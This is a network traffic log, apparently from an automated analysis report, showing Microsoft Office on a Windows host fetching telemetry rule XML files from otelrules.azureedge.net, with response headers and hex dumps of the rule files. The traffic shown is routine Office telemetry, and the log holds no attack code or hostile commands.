2024-10-10 08:13:47 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:47 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d071a7eb-c01e-002b-7f50-1a6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081347Z-1597f696844bcn2fz2c83qgev800000001ag00000000cbyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	64681	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:48 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:48 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 07f85e87-a01e-003d-78df-1a98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081348Z-r154656d9bcq7mrvshhcb7rrsn00000000fg000000000wna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:48 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	64682	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:48 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:48 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:48 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1392789d-401e-0047-0e8c-158597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081348Z-r154656d9bcgk58qzsfr5pfzg40000000w7g00000000fn4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:48 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	64679	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:48 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:48 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:48 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 07ebf894-801e-008c-19d8-1a7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081348Z-r154656d9bclprr71vn2nvcemn0000000w6g00000000k0za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:48 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	64683	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:48 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:48 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e5e2da3e-401e-0016-5c54-1a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081348Z-1597f696844tbmpv2gk8sfx5g000000001t0000000000fmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:48 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	64684	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:48 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:48 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: bd95943e-401e-005b-4931-1a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081348Z-1597f69684468djc7awy41e1mc00000001n000000000h0d2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	64688	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 44f36d90-201e-00aa-7dd7-1a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-1597f696844h4hhwdarr1hac8400000001p0000000008qh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	64685	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 55d0322a-601e-0032-7e2f-1aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-1597f6968445mkrl9xam3u5yc000000001mg00000000ee2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	64689	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 04600955-801e-00ac-55f4-16fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-r154656d9bc2dpb46dmu3uezks0000000kug000000005k89 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	64686	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f659b87d-a01e-0002-04d9-1a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-1597f696844jq2rssgzrsupds400000001ug00000000c4xw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	64687	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: efbad5a3-301e-0000-2ec0-1aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-r154656d9bccl8jh8cxn9cxxcs0000000kx00000000011g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:49 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	64692	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:49 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: fe1a38a0-a01e-0053-6ad8-1a8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081349Z-r154656d9bcn4d55dey6ma44b00000000ku0000000006sr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
